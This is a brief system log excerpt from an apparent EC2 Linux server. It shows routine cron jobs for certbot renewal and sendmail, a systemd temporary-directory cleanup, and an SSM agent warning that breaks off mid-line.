Sep 13 12:00:01 ip-172-31-29-215 CRON[3711954]: (root) CMD (test -x /usr/bin/certbot -a \! -d /run/systemd/system && perl -e 'sleep int(rand(43200))' && certbot -q renew)
Sep 13 12:00:01 ip-172-31-29-215 CRON[3711955]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 12:03:19 ip-172-31-29-215 systemd[1]: Starting Cleanup of Temporary Directories...
Sep 13 12:03:19 ip-172-31-29-215 systemd[1]: systemd-tmpfiles-clean.service: Succeeded.
Sep 13 12:03:19 ip-172-31-29-215 systemd[1]: Finished Cleanup of Temporary Directories.
Sep 13 12:07:29 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 12:07:29.5733 WARN EC2RoleProvider Failed to connect to Sy